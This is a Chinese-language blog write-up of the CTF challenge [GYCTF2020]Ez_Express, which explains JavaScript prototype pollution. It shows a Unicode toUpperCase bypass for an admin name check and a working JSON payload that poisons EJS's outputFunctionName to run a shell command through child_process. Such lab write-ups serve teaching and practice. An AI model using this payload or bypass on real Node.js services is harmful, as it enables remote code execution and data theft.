[GYCTF2020]Ez_Express
知识点:原型链污染
原型链的特性:
在我们调用一个对象的某属性时:
1 2 3
| 1.对象(obj)中寻找这一属性 2.如果找不到,则在obj.__proto__中寻找属性 3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
|
以上机制被称为js的prototype继承链。而原型链污染就与这有关
原型链污染定义:
1
| 如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
|
举例:
1 2 3 4 5 6
| let foo = {bar: 1} console.log(foo.bar) foo.__proto__.bar = 2 console.log(foo.bar) let zoo = {} console.log(zoo.bar)
|
结果:
1 2 3 4 5 6 7 8
| let foo ={bar:1} console.log(foo.bar) foo._proto__.bar=2 console.log(foo.bar) let zoo={} console.log(zoo.bar) 1 1
|
思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点
切记一定要让其__proto__解析为一个键名
byc师傅blog的总结:
1 2 3 4
| 总结下: 1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始 2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。 3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
|
来做题
看到提示
1 2 3 4 5 6
| 友情提示 如果您还不是会员,请注册
用户名只支持大写
请使用ADMIN登录
|
提示我们需要使用admin来登录
先扫一下,发现有www.zip源码泄露
下载源码审一下
1 2 3 4 5 6 7 8 9 10 11 12 13
| const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
|
/route/index.js
中用了merge()
和clone()
,必是原型链了
往下找到clone()
的位置
1 2 3 4 5
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
|
需要admin账号才能用到clone()
于是去到/login
处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; });
|
可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到
1
| 'user':req.body.userid.toUpperCase(),
|
这里将user给转为大写了,这种转编码的通常都很容易出问题
参考p牛的文章
Fuzz中的javascript大小写特性
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注册admın
(此admın非彼admin,仔细看i部分)
特殊字符绕过
toUpperCase()
其中混入了两个奇特的字符”ı”、”ſ”。
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
toLowerCase()
这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.
有一个输入框 你最喜欢的语言,还有提示flag in /flag
登录为admin后,就来到了原型链污染的部分
找污染的参数
1 2 3
| router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
|
可以看到在/info
下,使用将outputFunctionName
渲染入index
中,而outputFunctionName
是未定义的
1
| res.outputFunctionName=undefined
|
也就是可以通过污染outputFunctionName
进行SSTI
于是抓/action
的包,Content-Type
设为application/json
payload
1
| {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
|
然后/info路由,下载到flag
参考链接:[GYCTF2020]Ez_Express - LEOGG - 博客园 (cnblogs.com)
Author:
odiws
Permalink:
http://odiws.github.io/2024/08/09/GYCTF2020-Ez-Express/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?